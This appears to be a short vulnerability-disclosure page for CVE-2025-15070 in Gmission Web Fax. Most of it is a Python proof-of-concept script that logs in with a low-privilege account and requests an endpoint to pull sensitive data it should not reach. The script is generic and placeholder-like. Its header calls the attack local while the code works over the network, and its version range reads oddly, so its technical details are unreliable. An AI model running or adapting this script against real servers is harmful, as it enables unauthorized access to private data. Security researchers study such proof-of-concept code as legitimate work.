CVE-2025-15070: Gmission Web Fax 敏感信息泄露漏洞

# CVE-2025-15070 PoC - Gmission Web Fax Sensitive Information Exposure # Affected Version: 3.0 < version < 3.0.1 # Attack Vector: Local (AV:L), Low Privilege Required (PR:L) import requests import json TARGET_URL = "http://target-server:8080" LOGIN_ENDPOINT = f"{TARGET_URL}/api/auth/login" SENSITIVE_ENDPOINT = f"{TARGET_URL}/api/fax/sensitive-data" def exploit_cve_2025_15070(): """ This PoC demonstrates the unauthorized access to sensitive information in Gmission Web Fax versions 3.0 to < 3.0.1 """ # Step 1: Authenticate with low-privilege account credentials = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_ENDPOINT, json=credentials) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Access sensitive information without proper authorization # The vulnerable endpoint does not properly validate authorization sensitive_response = session.get(SENSITIVE_ENDPOINT) if sensitive_response.status_code == 200: print("[+] Successfully accessed sensitive information!") print(f"[+] Response: {sensitive_response.text}") return True else: print(f"[-] Access denied: {sensitive_response.status_code}") return False if __name__ == "__main__": print("CVE-2025-15070 PoC - Gmission Web Fax Information Disclosure") print("=" * 60) exploit_cve_2025_15070()